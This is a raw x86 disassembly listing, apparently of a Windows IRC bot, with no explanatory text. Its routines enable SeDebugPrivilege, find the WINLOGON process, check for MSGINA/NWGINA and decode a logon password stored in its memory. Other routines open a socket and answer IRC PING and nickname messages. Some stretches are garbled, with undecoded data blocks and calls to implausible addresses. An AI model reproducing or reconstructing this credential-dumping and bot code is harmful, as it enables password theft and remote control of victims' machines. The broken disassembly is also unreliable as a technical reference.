		dd 8DFFFFFEh, 0FFFDE885h, 0CC6850FFh, 8D00437Fh, 0FFFB6485h
		dd 20068FFh, 0E8500000h, 4C60h,	3910C483h, 2075F85Dh, 64858D53h
		dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
		dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
		dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
		dd 5Dh,	5018C483h, 0FB64858Dh, 0AC68FFFFh, 5000437Fh, 4B05E8h
		dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h,	50F475FFh
		dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
		dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
		dd 535959FFh, 2E9D64E8h, 5E5F9002h, 0EC8B555Bh,	54CEC81h
		dd 56530000h, 104BE57h,	75FF0000h, 0B8858D18h, 68FFFFFDh
		dd 438010h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
		dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
		dd 0B8BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
		dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
		dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
		dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
		dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
		dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 917EE890h, 0C0850238h
		dd 75FF8F75h, 94E6E8FCh, 0FF900236h, 858D1475h,	0FFFFFDB8h
		dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h,	0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
		dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 437FF468h
		dd 2006800h, 0E8500000h, 4AA0h,	858D016Ah, 0FFFFFAB4h
		dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh,	858D28C4h
		dd 0FFFFFEBCh, 0E8905650h, 23890F8h, 0B175C085h, 61E89056h
		dd 8B023694h, 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381E8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26C0C66h
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44BC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44B0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46C0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44B8, eax
		call	esi
		mov	dword_4D44B4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34B0
		push	edi
		push	ebx
		push	offset off_438124
		call	esi
		push	edi
		mov	edi, offset dword_4D3CB0
		push	edi
		push	offset off_43810C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46C8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46C8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4380B0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438078
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset unk_43804C


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27D03B2h
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset unk_438018


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 2700B29h
		nop
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44BC
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27E0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44BC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44B0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46C0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44B8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44B8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26A0290h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 280029Dh
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27F0B96h
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi
		push	offset dword_4D34B0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CB0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2790645h
		nop
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2790000h
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46D4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46CC, eax
		mov	dword_4D46D0, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26809B4h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 26A0290h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 280029Dh
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27F0B96h
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27F0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jz	short loc_4174E6
		push	offset dword_4D34B0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset dword_4D3CB0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27E0000h
		nop
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26809B4h


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46CC, ebx
		mov	dword_4D46D0, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 26809B4h
		nop
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46C8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27F0000h
		mov	ecx, dword_4D46C8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46D0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46D4
		push	eax
		call	dword_4D44B4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44C0
		push	offset dword_4D34B0
		push	offset dword_4D3CB0
		push	[ebp+arg_0]
		push	offset dword_438234
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46C8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27F0ADCh
		push	eax
		nop
		call	near ptr 27F0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CB0
		mov	edi, 200h
		mov	esi, offset dword_4D32B0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46C8
		add	eax, eax
		push	eax
		push	dword_4D46D0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44B4
		mov	eax, dword_4D46C8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+var_14]
		push	offset dword_4D34B0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438234
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset dword_4D34B0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438284
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27F0ADCh
		push	eax
		nop
		call	near ptr 27E0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6C4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB644
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB684
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6C8
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5EC
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6DC


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A094 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46DC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB694


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset dword_4DADFC
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D118 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
					; sub_4177D0+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417838
		push	offset dword_438E94
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi
		push	offset dword_438E90
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E84


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB694


loc_4178B4:				; CODE XREF: sub_4177D0+87j
		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

